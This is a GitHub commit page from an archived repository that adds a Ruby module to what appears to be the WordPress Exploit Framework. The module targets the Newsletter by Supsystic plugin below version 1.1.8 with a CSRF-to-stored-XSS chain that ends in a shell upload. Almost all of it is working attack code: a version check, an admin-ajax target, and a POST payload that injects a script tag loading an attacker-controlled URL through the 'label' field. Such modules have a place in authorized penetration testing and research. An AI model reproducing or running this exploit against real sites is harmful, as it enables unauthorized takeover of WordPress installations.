Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 7fc3ed4

Browse files
committed
Add Newsletter by Supsystic < 1.1.8 CSRF stored XSS shell upload
1 parent 729db6a commit 7fc3ed4

File tree

1 file changed

+41
-0
lines changed

1 file changed

+41
-0
lines changed
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
class Wpxf::Exploit::NewsletterBySupsysticCsrfStoredXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Newsletter by Supsystic < 1.1.8 CSRF Stored XSS Shell Upload',
9+
author: [
10+
'King Coder', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8832'],
15+
['URL', 'https://www.vulnerability-lab.com/get_content.php?id=2070']
16+
],
17+
date: 'May 23 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('newsletter-by-supsystic', '1.1.8')
23+
end
24+
25+
def vulnerable_url
26+
wordpress_url_admin_ajax
27+
end
28+
29+
def initial_script
30+
create_basic_post_script(
31+
vulnerable_url,
32+
'action' => 'create',
33+
'label' => "#{Utility::Text.rand_alpha(10)}<script src=\\\"#{xss_url}\\\"><\\/script>",
34+
'slid[]' => '1',
35+
'oid' => '1',
36+
'mod' => 'newsletters',
37+
'pl' => 'nbs',
38+
'reqType' => 'ajax'
39+
)
40+
end
41+
end

0 commit comments

Comments
 (0)